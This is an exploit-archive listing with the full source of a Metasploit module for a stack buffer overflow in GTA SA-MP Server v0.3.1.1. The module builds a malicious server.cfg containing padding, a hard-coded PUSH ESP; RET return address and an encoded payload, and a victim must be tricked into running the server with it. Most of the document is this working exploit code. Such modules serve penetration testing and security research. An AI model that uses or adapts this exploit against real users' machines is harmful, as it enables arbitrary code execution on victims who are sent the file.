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GTA SA-MP server.cfg Buffer Overflow

GTA SA-MP server.cfg Buffer Overflow
Posted Oct 27, 2011
Authored by Silent_Dream | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in GTA SA-MP Server. This buffer overflow occurs when the application attempts to open a malformed server.cfg file. To exploit this vulnerability, an attacker must send the victim a server.cfg file and have them run samp-server.exe.

tags | exploit, overflow
SHA-256 | 6516b83685589a1ead2d78e1fafcac820b7f9e19416217a6dda64bcf91cceef6

GTA SA-MP server.cfg Buffer Overflow

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##
# $Id: gta_samp.rb 14076 2011-10-26 22:16:26Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'GTA SA-MP server.cfg Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in GTA SA-MP Server.
This buffer overflow occurs when the application attempts to open a malformed
server.cfg file. To exploit this vulnerability, an attacker must send the
victim a server.cfg file and have them run samp-server.exe.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Silent_Dream', # Original discovery, MSF Module, template by mona.py
],
'Version' => '$Revision: 14076 $',
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/17893' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x0d\x0a\x1a",
'Space' => 392,
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
'DisableNops' => true,
'MaxSize' => 392,
},

'Targets' =>
[
[
'GTA SA-MP (samp-server) v0.3.1.1',
{
'Ret' => 0x00429faa, # PUSH ESP; RET (samp-server.exe)
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Sep 18 2011',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg'])
], self.class)

end

def exploit

buffer = "echo "
buffer << rand_text_alpha_upper(379)
buffer << [target.ret].pack('V')
buffer << payload.encoded
file_create(buffer)

end
end
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